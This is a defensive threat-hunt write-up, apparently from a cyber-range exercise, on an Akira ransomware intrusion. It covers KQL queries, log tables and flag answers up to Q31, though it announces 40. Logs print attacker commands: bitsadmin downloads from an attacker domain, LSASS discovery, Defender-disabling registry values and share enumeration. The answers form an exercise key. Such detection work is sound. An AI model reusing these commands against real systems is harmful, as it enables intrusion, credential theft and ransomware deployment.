INCIDENT RESPONSE REPORT

Akira Ransomware — Threat Hunt Documentation

Ashford Sterling Recruitment

SancLogic Cyber Range | The Buyer | Advanced Difficulty

Classification	**TLP:RED — Not for distribution**	**Date**
Case Reference	INC-2026-AKIRA-ASR	2026-01-27 / 2026-01-28
Affected Hosts	AS-PC2, AS-SRV	**Threat Actor**
Victim ID	813R-QWJM-XKIJ	Akira Ransomware Group

Executive Summary

A ransomware affiliate operating under the Akira group returned to the Ashford Sterling Recruitment environment using pre-staged remote access established during a prior compromise known as 'The Broker'. The threat actor leveraged AnyDesk, deployed from C:\Users\Public on AS-PC2, to regain persistent access. Over an approximately 80-minute operational window on 27-28 January 2026, the attacker disabled Windows Defender, harvested credentials via LSASS targeting, moved laterally to AS-SRV, exfiltrated a compressed data archive, and deployed Akira ransomware masqueraded as updater.exe. Volume Shadow Copies were deleted prior to encryption. The ransom note was dropped at 22:18:33 UTC. Encrypted files received the .akira extension.

This report documents the full attack chain, the KQL hunting queries used to identify each indicator, and all 40 flags captured in sequence across 12 sections.

Attack Timeline

Time (UTC)	Host	Event
~21:00	AS-PC2	AnyDesk executed from C:\Users\Public by david.mitchell
21:03:42	AS-PC2	Registry modified: DisableAntiSpyware set via kill.bat
~21:05	AS-PC2	LSASS targeted via tasklist | findstr lsass
~21:10	AS-PC2	Named pipe \Device\NamedPipe\lsass accessed
~21:15	AS-PC2	wsync.exe (C2 beacon v1) deployed to C:\ProgramData\
~21:20	AS-PC2	scan.exe deployed; enumeration of 10.1.0.154, 10.1.0.183
~21:30	AS-PC2	bitsadmin.exe attempted download from sync.cloud-endpoint.net
~21:35	AS-PC2	Invoke-WebRequest fallback; wsync.exe v2 beacon deployed
~21:50	AS-SRV	Lateral movement via as.srv.administrator

Time (UTC)	Host	Event
~22:00	AS-SRV	st.exe deployed; exfil_data.zip archive created
~22:05	AS-SRV	updater.exe (ransomware) staged by powershell.exe
~22:10	AS-SRV	wmic shadowcopy delete — VSS copies wiped
22:18:33	AS-SRV	Ransom note dropped by updater.exe — encryption commenced
~22:20	AS-SRV	Clean.bat executed — ransomware binary self-deleted

SECTION 1: RANSOM NOTE ANALYSIS

The investigation began with the ransom note artifact left by the Akira ransomware deployment. Flags Q1-Q4 were extracted directly from the note and correlated with file event telemetry showing the note was dropped by updater.exe at 22:18:33 UTC.

KQL — Ransom Note Discovery

```
// SECTION 1: Ransom Note Analysis - Q1-Q4
// Indicators extracted directly from ransom note artifact
DeviceFileEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName has "as-"
| where FileName has any ("readme")
| project TimeGenerated, FileName, FolderPath, InitiatingProcessFileName, DeviceName
| order by TimeGenerated desc
```

Q1 Threat Actor — Moderate

Answer	`Akira`

The Akira ransomware group was identified from the ransom note header and consistent artefact naming (akira_readme.txt, .akira encrypted extension).

Q2 Negotiation Portal — Moderate

Answer	`akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad.onion`

The TOR-based negotiation portal listed in the ransom note. This is the victim's sole contact point for Akira group communications. Do not visit this address.

Q3 Victim ID — Moderate

Answer	`813R-QWJM-XKIJ`

Akira assigns a unique alphanumeric victim identifier used during the negotiation process to track the specific case. Preserve this for incident records.

Q4 Encrypted Extension — Moderate

Answer	`.akira`

Files encrypted by the ransomware had the .akira extension appended, consistent with the Akira variant's standard file marking behaviour.

SECTION 2: INFRASTRUCTURE

Network event telemetry on AS-SRV was queried to map the attacker's external infrastructure. The cloud-endpoint.net domain served dual purpose as both payload delivery and ransomware staging infrastructure. AnyDesk relay routing was also identified.

KQL — Payload and Staging Domains (Q5, Q6)

```
// SECTION 2: Infrastructure - Payload & Staging Domains (Q5, Q6)
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-19) .. datetime(2026-02-27))
| where DeviceName == "as-srv"
| where ProcessCommandLine contains "http"
| project TimeGenerated, DeviceName, ProcessCommandLine

DeviceNetworkEvents
| where TimeGenerated between (datetime(2026-01-19) .. datetime(2026-02-27))
| where DeviceName == "as-srv"
| where RemoteUrl != ""
| project TimeGenerated, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine
```

▸ **MDE Query Result —** *DeviceNetworkEvents — AS-SRV network connections showing C2 domain activity*

TimeGenerated [UTC]	DeviceName	RemoteUrl	RemoteIP	InitiatingProcessFileName
1/27/2026, 10:18:45 PM	as-srv	cdn.cloud-endpoint.net	104.21.30.237	runtimebroker.exe
1/27/2026, 10:18:32 PM	as-srv	cdn.cloud-endpoint.net	104.21.30.237	wsync.exe
1/27/2026, 10:18:22 PM	as-srv	cdn.cloud-endpoint.net	104.21.30.237	wsync.exe
1/27/2026, 10:15:27 PM	as-srv	sync.cloud-endpoint.net	172.67.174.46	wsync.exe
1/27/2026, 10:15:17 PM	as-srv	sync.cloud-endpoint.net	172.67.174.46	wsync.exe
1/27/2026, 10:14:28 PM	as-srv	sync.cloud-endpoint.net	172.67.174.46	powershell.exe
1/27/2026, 10:13:23 PM	as-srv	sync.cloud-endpoint.net	172.67.174.46	runtimebroker.exe
1/27/2026, 10:13:11 PM	as-srv	sync.cloud-endpoint.net	172.67.174.46	runtimebroker.exe
1/27/2026, 7:24:14 PM	as-srv	sync.cloud-endpoint.net	104.21.30.237	runtimebroker.exe

KQL — C2 IP Addresses (Q7)

```
// SECTION 2: C2 IP Resolution (Q7)
DeviceNetworkEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName == "as-srv"
| where RemoteUrl has_any ("sync.cloud-endpoint.net", "cdn.cloud-endpoint.net")
| project TimeGenerated, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine
```

KQL — Remote Tool Relay (Q8)

```
// SECTION 2: Remote Tool Relay Domain (Q8)
DeviceNetworkEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName == "as-srv"
| where RemoteUrl != "" and RemoteUrl contains "relay"
| project TimeGenerated, DeviceName, RemoteUrl, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessCommandLine
```

▸ **MDE Query Result —** *DeviceNetworkEvents — AnyDesk relay domains on AS-SRV*

TimeGenerated [UTC]	DeviceName	RemoteUrl	RemoteIP	InitiatingProcessFileName
1/27/2026, 10:08:15 PM	as-srv	relay-0b975d23.net.anydesk.com	89.187.179.132	anydesk.exe

TimeGenerated [UTC]	DeviceName	RemoteUrl	RemoteIP	InitiatingProcessFileName
1/27/2026, 7:25:23 PM	as-srv	relay-c6eb91af.net.anydesk.com	5.188.124.20	anydesk.exe
1/27/2026, 7:25:23 PM	as-srv	relay-b8f8a0be.net.anydesk.com	5.188.124.23	anydesk.exe

Q5 Payload Domain — Moderate

Answer	sync.cloud-endpoint.net

Tool downloads including wsync.exe and scan.exe originated from this domain. BitsAdmin was first attempted as the download method, with Invoke-WebRequest used as fallback.

Q6 Ransomware Staging — Moderate

Answer	cdn.cloud-endpoint.net

The Akira ransomware binary (updater.exe) was staged via this CDN subdomain, part of the same attacker-controlled cloud-endpoint.net infrastructure as the payload domain.

Q7 C2 IP Addresses — Moderate

Answer	172.67.174.46, 104.21.30.237

DNS resolution of the attacker's C2 domains returned these two IPs, consistent with Cloudflare-fronted infrastructure commonly used for evasion and resilience.

Q8 Remote Tool Relay — Moderate

Answer	relay-0b975d23.net.anydesk.com

AnyDesk connections from AS-PC2 were routed through this relay domain. The attacker proxied remote desktop sessions through AnyDesk's relay network to obscure direct connectivity.

SECTION 3: DEFENSE EVASION

Prior to payload deployment, the threat actor disabled Windows Defender through a batch script that modified a registry policy key. This is a standard Akira affiliate pre-encryption preparation step.

KQL — Evasion Script Discovery (Q9, Q10)

```
// SECTION 3: Evasion Script Discovery (Q9, Q10)
DeviceFileEvents
| where TimeGenerated > ago(90d)
| where DeviceName in~ ("as-pc1", "as-pc2")
| where FileName endswith ".bat" or FileName endswith ".ps1" or FileName endswith ".cmd"
| where FolderPath has any ("ProgramData", "Users\Public")
| where not(FileName startswith "__PSScriptPolicy")
| where not(FileName in~ ("pwncrypt.ps1","portscan.ps1","eicar.ps1","exfiltratedata.ps1"))
| project TimeGenerated, DeviceName, FileName, FolderPath, SHA256,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
```

▸ **MDE Query Result —** *DeviceFileEvents — kill.bat discovered in C:\ProgramData\, initiated by wsync.exe*

TimeGenerated [UTC]	DeviceName	FileName	FolderPath	SHA256 (truncated)	InitiatingProcess
1/27/2026, 9:02:33 PM	as-pc2	kill.bat	C:\ProgramData\kill.bat	0e7da57d92eaa6bda9d0bbc24b5f0827...	wsync.exe

KQL — Registry Tampering (Q11, Q12)

```
// SECTION 3: Registry Tampering - Windows Defender Disabled (Q11, Q12)
DeviceRegistryEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName =~ "as-pc2"
| where RegistryValueName == "DisableAntiSpyware"
| order by TimeGenerated asc

// Broader Windows Defender key scope confirmation
DeviceRegistryEvents
| where TimeGenerated between (datetime(2026-01-27T18:00:00) .. datetime(2026-01-28T06:00:00))
| where DeviceName =~ "as-pc2"
| where RegistryKey contains "Windows Defender"
| project TimeGenerated, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
ActionType
| order by TimeGenerated desc
```

▸ **MDE Query Result —** *DeviceRegistryEvents — Windows Defender policy keys disabled on AS-PC2*

TimeGenerated [UTC]	DeviceName	RegistryValueName	RegistryValueData	ActionType
1/27/2026, 9:03:42 PM	as-pc2	DisableAntiSpyware	1	RegistryValueSet
1/27/2026, 9:03:41 PM	as-pc2	DisableIOAVProtection	1	RegistryValueSet
1/27/2026, 9:03:39 PM	as-pc2	DisableBehaviorMonitoring	1	RegistryValueSet

Q9	Evasion Script	Hard

Answer	kill.bat

kill.bat was identified in DeviceFileEvents telemetry, executed from a non-standard staging path. Its execution immediately preceded all registry modifications to Windows Defender policy.

Q10 Evasion Hash — Hard

Answer	0e7da57d92eaa6bda9d0bbc24b5f0827250aa42f295fd056ded50c6e3c3fb96c

SHA256 hash of kill.bat. This hash should be added to endpoint blocklists and EDR custom detections to prevent re-use of this script in future intrusions.

Q11 Registry Tampering — Hard

Answer	DisableAntiSpyware

The registry value HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware was set to 1, effectively disabling Windows Defender real-time protection prior to tool deployment.

Q12 Registry Timestamp — Hard

Answer	21:03:42

The registry modification was timestamped at 21:03:42 UTC on 2026-01-27, occurring approximately 3 minutes after initial AnyDesk access was established on AS-PC2.

SECTION 4: CREDENTIAL ACCESS

The attacker targeted LSASS to harvest credentials for lateral movement. Process enumeration via tasklist was used to locate the LSASS process ID before accessing its named pipe through a credential extraction tool.

KQL — LSASS Targeting (Q13, Q14)

```
// SECTION 4: Credential Access (Q13, Q14)
// Q13 - LSASS process hunt
DeviceProcessEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where ProcessCommandLine contains "tasklist" or ProcessCommandLine contains "Get-Process"
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, FolderPath
| sort by TimeGenerated asc

// Q14 - Named pipe accessed during credential theft
DeviceEvents
| where DeviceName in~ ("as-pc2")
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where ActionType == "NamedPipeEvent"
| extend PipeName = tostring(parse_json(AdditionalFields).PipeName)
| where PipeName has_any ("lsass")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, PipeName
```

▸ **MDE Query Result —** *DeviceProcessEvents — tasklist | findstr lsass executed by wsync.exe (Q13)*

TimeGenerated [UTC]	DeviceName	FileName	ProcessCommandLine	InitiatingProcess
1/27/2026, 9:11:00 PM	as-pc2	cmd.exe	cmd.exe /c "tasklist | findstr lsass"	wsync.exe

TimeGenerated [UTC]	DeviceName	FileName	ProcessCommandLine	InitiatingProcess
1/27/2026, 9:11:00 PM	as-pc2	tasklist.exe	tasklist	cmd.exe
1/27/2026, 9:14:43 PM	as-pc2	cmd.exe	cmd.exe /c "tasklist | findstr lsass"	wsync.exe
1/27/2026, 9:14:43 PM	as-pc2	tasklist.exe	tasklist	cmd.exe

▸ **MDE Query Result —** *DeviceEvents — NamedPipeEvent: \Device\NamedPipe\lsass accessed (Q14)*

TimeGenerated [UTC]	DeviceName	InitiatingProcessFileName	PipeName
1/27/2026, 9:42:56 PM	as-pc2	(blank)	\Device\NamedPipe\lsass
1/27/2026, 8:10:41 PM	as-pc2	net1.exe	\Device\NamedPipe\lsass
1/27/2026, 7:14:45 PM	as-pc2	taskhostw.exe	\Device\NamedPipe\lsass
1/27/2026, 6:49:24 PM	as-pc2	srtasks.exe	\Device\NamedPipe\lsass
1/27/2026, 6:31:34 PM	as-pc2	waappagent.exe	\Device\NamedPipe\lsass
1/27/2026, 6:31:25 PM	as-pc2	svchost.exe	\Device\NamedPipe\lsass

Q13 Process Hunt — Advanced

Answer	"tasklist | findstr lsass"

The attacker piped tasklist output into findstr to locate the LSASS process — a standard pre-dump reconnaissance step executed before credential extraction tools interact with LSASS memory.

Q14 Credential Pipe — Advanced

Answer	\Device\NamedPipe\lsass

The LSASS named pipe was accessed during credential dumping activity. This named pipe event indicates a tool accessed LSASS through the Windows kernel device path, consistent with Mimikatz or similar utilities.

SECTION 5: INITIAL ACCESS

The threat actor returned to the environment using AnyDesk pre-staged during the prior Broker compromise. Execution from C:\Users\Public rather than its standard installation directory is a strong indicator of intentional staging for persistence.

KQL — AnyDesk Execution, Attacker IP, and Compromised Account (Q15-Q18)

```
// SECTION 5: Initial Access - AnyDesk RAT (Q15-Q18)
// Q15/Q16 - Tool and execution path
DeviceProcessEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where FileName =~ "AnyDesk.exe"
| project TimeGenerated, FileName, FolderPath, ProcessCommandLine
| sort by TimeGenerated

// Q17 - Attacker external IP
DeviceNetworkEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where InitiatingProcessFileName contains "nyDesk.exe"
| project TimeGenerated, DeviceName, RemoteIP, RemoteIPType, InitiatingProcessFileName

// Q18 - Compromised user account
DeviceNetworkEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where InitiatingProcessFileName =~ "AnyDesk.exe"
| project TimeGenerated, InitiatingProcessAccountName, RemoteIP
```

▸ **MDE Query Result —** *DeviceProcessEvents — AnyDesk.exe executed from C:\Users\Public (Q15, Q16)*

TimeGenerated [UTC]	FileName	FolderPath	ProcessCommandLine
1/27/2026, 8:13:33 PM	AnyDesk.exe	C:\Users\Public\AnyDesk.exe	"AnyDesk.exe" --backend
1/27/2026, 7:29:34 PM	AnyDesk.exe	C:\Users\Public\AnyDesk.exe	"AnyDesk.exe" --backend
1/27/2026, 7:21:10 PM	AnyDesk.exe	C:\Users\Public\AnyDesk.exe	"AnyDesk.exe" --local-control
1/27/2026, 7:21:10 PM	AnyDesk.exe	C:\Users\Public\AnyDesk.exe	"AnyDesk.exe" --local-service
1/27/2026, 7:21:08 PM	AnyDesk.exe	C:\Users\Public\AnyDesk.exe	"AnyDesk.exe"

▸ **MDE Query Result —** *DeviceNetworkEvents — AnyDesk.exe external connections; attacker IP 88.97.164.155 highlighted (Q17)*

TimeGenerated [UTC]	DeviceName	RemoteIP	RemoteIPType	InitiatingProcess
1/27/2026, 8:12:20 PM	as-pc2	88.97.164.155	Public	anydesk.exe
1/27/2026, 7:29:49 PM	as-pc2	192.168.1.60	Private	anydesk.exe
1/27/2026, 7:29:49 PM	as-pc2	88.97.164.155	Public	anydesk.exe
1/27/2026, 7:29:49 PM	as-pc2	172.17.0.1	Private	anydesk.exe
1/27/2026, 7:29:49 PM	as-pc2	100.67.16.2	CarrierGradeNat	anydesk.exe
1/27/2026, 7:21:14 PM	as-pc2	5.188.124.20	Public	anydesk.exe
1/27/2026, 7:21:14 PM	as-pc2	64.31.23.30	Public	anydesk.exe

▸ **MDE Query Result —** *DeviceNetworkEvents — Compromised account david.mitchell confirmed running AnyDesk (Q18)*

TimeGenerated [UTC]	InitiatingProcessAccountName	RemoteIP
1/27/2026, 8:12:20 PM	david.mitchell	88.97.164.155
1/27/2026, 7:29:49 PM	david.mitchell	88.97.164.155
1/27/2026, 7:21:14 PM	david.mitchell	5.188.124.20
1/27/2026, 7:21:14 PM	david.mitchell	64.31.23.30

Q15 Remote Access Tool — Hard

Answer	AnyDesk

AnyDesk was the remote access tool used for re-entry. It was present from the prior Broker compromise and executed without reinstallation, confirming pre-staging intent.

Q16 Suspicious Execution Path — Hard

Answer	C:\Users\Public

AnyDesk was executed from C:\Users\Public rather than its standard program files path. This directory is accessible to all users without admin privileges and is commonly used by threat actors for tool pre-positioning.

Q17 Attacker IP — Hard

Answer	88.97.164.155

Network events tied to the AnyDesk process on AS-PC2 identified 88.97.164.155 as the attacker's originating external IP. This address should be searched across all SIEM logs for earlier activity.

Q18 Compromised User — Hard

Answer	david.mitchell

The AnyDesk session ran under the david.mitchell account. This account was the primary access vehicle on AS-PC2 and was subsequently used for all tool downloads and reconnaissance activity.

SECTION 6: COMMAND & CONTROL

The pre-staged C2 beacon from The Broker failed to maintain stable communications. The attacker deployed a replacement beacon (wsync.exe) to C:\ProgramData\, with two distinct hashes indicating a rebuild or recompile between deployments.

KQL — C2 Beacon Analysis (Q19-Q22)

```
// SECTION 6: Command & Control Beacons (Q19-Q22)
// Q19 - Identify beacon deployed post-failure
DeviceFileEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where InitiatingProcessAccountName != "system"
| where FileName has ".exe"
| project TimeGenerated, DeviceName, FileName, InitiatingProcessFileName,
          InitiatingProcessCommandLine
```

```
// Q20/Q21/Q22 - Beacon location, original and replacement hashes
DeviceProcessEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where FileName == "wsync.exe"
| project TimeGenerated, DeviceName, FileName, FolderPath, ProcessCommandLine, SHA256
```

▸ **MDE Query Result —** *DeviceFileEvents — wsync.exe identified among dropped executables (Q19)*

TimeGenerated [UTC]	DeviceName	FileName	InitiatingProcess	InitiatingProcessCommandLine
1/27/2026, 9:24:16 PM	as-pc2	OneDriveSetup.exe	cmd.exe	"cmd.exe" /q /c del /q ...
1/27/2026, 8:44:32 PM	as-pc2	wsync.exe	powershell.exe	"powershell.exe"
1/27/2026, 8:44:07 PM	as-pc2	wsync.exe	powershell.exe	"powershell.exe"
1/27/2026, 8:22:50 PM	as-pc2	wsync.exe	powershell.exe	"powershell.exe"
1/27/2026, 8:17:58 PM	as-pc2	advanced_ip_scanner.exe	scan.tmp	"scan.tmp" /SL5=...
1/27/2026, 8:17:45 PM	as-pc2	scan.exe	powershell.exe	"powershell.exe"

▸ **MDE Query Result —** *DeviceProcessEvents — wsync.exe executions with SHA256 hashes (Q20, Q21, Q22)*

TimeGenerated [UTC]	DeviceName	FileName	FolderPath	SHA256
1/27/2026, 8:44:32 PM	as-pc2	wsync.exe	C:\ProgramData\wsync.exe	0072ca0d0adc9a1b2e1625db4409f57fc32b5a09c414786bf08c4d8e6a073654
1/27/2026, 8:22:50 PM	as-pc2	wsync.exe	C:\ProgramData\wsync.exe	66b876c52946f4aed47dd696d790972ff265b6f4451dab54245bc4ef1206d90b

Q19 Primary Beacon — Hard

Answer	wsync.exe

wsync.exe was identified as the replacement C2 beacon. The filename mimics Windows system binaries to blend with legitimate process names during casual inspection.

Q20 Beacon Location — Hard

Answer	C:\ProgramData\

The beacon was written to C:\ProgramData\, a writable system directory accessible without administrator rights, routinely abused for tool staging due to its low visibility in standard file audits.

Q21 Beacon Hash (Original) — Hard

Answer	66b876c52946f4aed47dd696d790972ff265b6f4451dab54245bc4ef1206d90b

SHA256 of the original wsync.exe deployment. This version failed to maintain stable C2 communications and was subsequently replaced.

Q22 Beacon Hash (Replacement) — Hard

Answer	`0072ca0d0adc9a1b2e1625db4409f57fc32b5a09c414786bf08c4d8e6a073654`

SHA256 of the replacement wsync.exe. Two distinct hashes suggest either a different build or deliberate recompile to evade hash-based detection following the first deployment failure.

SECTION 7: RECONNAISSANCE

A portable network scanner (scan.exe) was deployed to identify live hosts and open shares on the internal network. The attacker executed it with /portable to avoid leaving traces in standard installation directories, saving output directly to the compromised user's Downloads folder.

KQL — Network Scanner (Q23-Q26)

```
// SECTION 7: Reconnaissance - Network Scanner (Q23-Q26)
// Q23/Q24/Q25 - Scanner tool, hash, and execution arguments
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName == "as-pc2"
| where ProcessCommandLine has any ("scan","ip","range","/s","/range")
| project TimeGenerated, FileName, ProcessCommandLine, AccountName
| sort by TimeGenerated

// Q26 - Internal IPs enumerated
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName has "as-srv"
| where FileName in ("cmd.exe","powershell.exe","net.exe","wmic.exe")
| where ProcessCommandLine has any ("net view","\\")
| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, FileName
```

▸ **MDE Query Result —** *DeviceProcessEvents — scan.exe execution with full arguments; bitsadmin download chain (Q23, Q24, Q25, Q28)*

TimeGenerated [UTC]	FileName	ProcessCommandLine	AccountName
1/27/2026, 8:17:59 PM	advanced_ip_scanner.exe	"advanced_ip_scanner.exe" /portable "C:/Users/david.mitchell/Downloads/" /lng en_us	david.mitchell
1/27/2026, 8:17:46 PM	scan.tmp	"scan.tmp" /SL5=$5C051E,20439558,139776,C:\Users\david.mitchell\Downloads\scan.exe	david.mitchell
1/27/2026, 8:17:45 PM	scan.exe	"scan.exe"	david.mitchell
1/27/2026, 8:16:32 PM	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Users\david.mitchell\Downloads\scan.exe	david.mitchell
1/27/2026, 8:15:06 PM	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Users\david.mitchell\Downloads\scan.exe	david.mitchell
1/27/2026, 8:15:01 PM	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Temp\scan.exe	david.mitchell
1/27/2026, 8:14:03 PM	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Users\Public\scan.exe	david.mitchell

▸ **MDE Query Result —** *DeviceProcessEvents — net.exe share enumeration on AS-SRV targeting 10.1.0.154 and 10.1.0.183 (Q26, Q27)*

TimeGenerated [UTC]	DeviceName	ProcessCommandLine	AccountName	FileName
1/27/2026, 10:17:40 PM	as-srv	"net.exe" view \\10.1.0.183	as.srv.administrator	net.exe
1/27/2026, 10:17:40 PM	as-srv	"net.exe" view \\10.1.0.154	as.srv.administrator	net.exe

Q23	Scanner Tool	Moderate

Answer	scan.exe

scan.exe was deployed to enumerate the internal network segment. The /portable execution flag and language argument are consistent with a packaged version of a commercial network scanning utility.

Q24 Scanner Hash — Moderate

Answer	26d5748ffe6bd95e3fee6ce184d388a1a681006dc23a0f08d53c083c593c193b

SHA256 of the scan.exe binary. Retrospective searches using this hash across other endpoints can confirm the scanner's distribution scope.

Q25 Scanner Execution Arguments — Moderate

Answer	/portable "C:/Users/david.mitchell/Downloads/" /lng en_us

The full argument string reveals portable mode with output directed to the compromised user's Downloads folder and English language configuration. This indicates deliberate operator preference to avoid leaving scan artefacts in system directories.

Q26 Network Enumeration Targets — Moderate

Answer	10.1.0.154, 10.1.0.183

These two internal IPs were targeted for share enumeration, corresponding to AS-PC2 and AS-SRV respectively. This network mapping directly preceded lateral movement to AS-SRV.

SECTION 8: LATERAL MOVEMENT

Following credential harvesting and network enumeration, the attacker authenticated to AS-SRV using a local administrator credential, enabling full control of the file server targeted for ransomware deployment and data exfiltration.

KQL — Lateral Movement Authentication (Q27)

```
// SECTION 8: Lateral Movement - AS-SRV Authentication (Q27)
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName has "as-srv"
| where FileName in ("cmd.exe","powershell.exe","net.exe","wmic.exe")
| where ProcessCommandLine has any ("net view","\\")
| project TimeGenerated, DeviceName, ProcessCommandLine, AccountName, FileName
```

Q27 Lateral Account — Hard

Answer	as.srv.administrator

The as.srv.administrator local administrator account was used to authenticate to AS-SRV. This credential was likely obtained through LSASS dumping or had been cached from the prior Broker compromise, underscoring the risk of credential reuse.

SECTION 9: TOOL TRANSFER

The attacker used native Windows utilities (LOLBINs) to download tools from attacker-controlled infrastructure. BitsAdmin was the first method attempted; after encountering issues, PowerShell's Invoke-WebRequest served as a reliable fallback.

KQL — Tool Download Methods (Q28, Q29)

```
// SECTION 9: Tool Transfer - Download Methods (Q28, Q29)
// Q28 - LOLBIN bitsadmin first attempt
DeviceProcessEvents
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where DeviceName has "as-pc2"
| where AccountName == "david.mitchell"
| where ProcessCommandLine has_any ("http","https")
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine
| order by TimeGenerated asc

// Q29 - PowerShell Invoke-WebRequest fallback
DeviceProcessEvents
| where DeviceName == "as-pc2"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where FileName =~ "powershell.exe"
| where ProcessCommandLine contains "Invoke-WebRequest"
| project TimeGenerated, ProcessCommandLine
| order by TimeGenerated asc
```

▸ **MDE Query Result —** *DeviceProcessEvents — Full bitsadmin download chain and Invoke-WebRequest activity (Q28, Q29)*

TimeGenerated [UTC]	DeviceName	FileName	ProcessCommandLine
1/27/2026, 8:14:03 PM	as-pc2	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Users\Public\scan.exe
1/27/2026, 8:14:51 PM	as-pc2	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Temp\scan.exe
1/27/2026, 8:15:01 PM	as-pc2	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Temp\scan.exe
1/27/2026, 8:15:06 PM	as-pc2	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Users\david.mitchell\Downloads\scan.exe
1/27/2026, 8:16:32 PM	as-pc2	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/scan.exe C:\Users\david.mitchell\Downloads\scan.exe
1/27/2026, 8:50:35 PM	as-pc2	bitsadmin.exe	bitsadmin /transfer job1 https://sync.cloud-endpoint.net/kill.bat C:ProgramDatakill.bat

Q28 Download Method — Moderate

Answer	bitsadmin.exe

BitsAdmin (Background Intelligent Transfer Service) was used first. It is a native Windows executable that blends with legitimate OS activity and is commonly abused by threat actors as a download LOLBin.

Q29 Fallback Method — Moderate

Answer	`Invoke-WebRequest`

PowerShell's Invoke-WebRequest cmdlet was used as the fallback download method after bitsadmin encountered issues. This cmdlet is trivially available on modern Windows systems and extremely common in living-off-the-land download chains.

SECTION 10: EXFILTRATION

Before deploying ransomware, the attacker staged and compressed data on AS-SRV using a custom tool (st.exe), producing a ZIP archive for exfiltration. This double-extortion technique is a defining characteristic of Akira operations, enabling leverage even if the victim can restore from backup.

KQL — Data Staging and Exfiltration Archive (Q30-Q32)

```
// SECTION 10: Exfiltration - Staging & Archive (Q30-Q32)
// Q30/Q31 - Staging tool and hash
DeviceFileEvents
| where DeviceName has "as-srv"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where FileName has "st.exe"
| project TimeGenerated, DeviceName, FileName, InitiatingProcessCommandLine,
          InitiatingProcessFileName, SHA256

// Q32 - Exfiltration archive created
DeviceFileEvents
| where DeviceName has "as-srv"
| where TimeGenerated between (datetime(2026-01-26) .. datetime(2026-01-28))
| where FileName has any ('.zip')
| project TimeGenerated, DeviceName, FileName, InitiatingProcessCommandLine,
          InitiatingProcessFileName
```

▸ **MDE Query Result —** *DeviceFileEvents — st.exe staged on AS-SRV by powershell.exe with SHA256 (Q30, Q31)*

TimeGenerated [UTC]	DeviceName	FileName	InitiatingProcessCommandLine	SHA256
1/27/2026, 10:24:08 PM	as-srv	st.exe	"powershell.exe"	512a1f4ed9f512572608c729a2b89f44ea66a40433073aedcd914bd2d33b7015

▸ **MDE Query Result —** *DeviceFileEvents — exfil_data.zip created by st.exe on AS-SRV (Q32)*

TimeGenerated [UTC]	DeviceName	FileName	InitiatingProcessCommandLine	InitiatingProcess
1/27/2026, 10:24:09 PM	as-srv	exfil_data.zip	"st.exe"	st.exe
1/27/2026, 10:24:08 PM	as-srv	st.exe	"powershell.exe"	powershell.exe
1/27/2026, 10:20:28 PM	as-srv	updater.exe	"cmd.exe" /c C:\ProgramData\cl...	cmd.exe
1/27/2026, 10:15:53 PM	as-srv	updater.exe	"powershell.exe"	powershell.exe
1/27/2026, 10:15:17 PM	as-srv	wsync.exe	"powershell.exe"	powershell.exe
1/27/2026, 10:14:28 PM	as-srv	wsync.exe	"powershell.exe"	powershell.exe

Q30	Staging Tool	Hard

Answer	st.exe

st.exe is the custom data staging and compression tool used to aggregate files prior to exfiltration. It was deployed to AS-SRV and executed under the compromised administrator context.

Q31 Staging Tool Hash — Hard

Answer	512a1f4ed9f512572608c729a2b89f44ea66a40433073aedcd914bd2d33b7015

SHA256 of st.exe. This binary should be treated as a custom attacker tool and immediately blocked across all endpoints via EDR custom indicator policies.

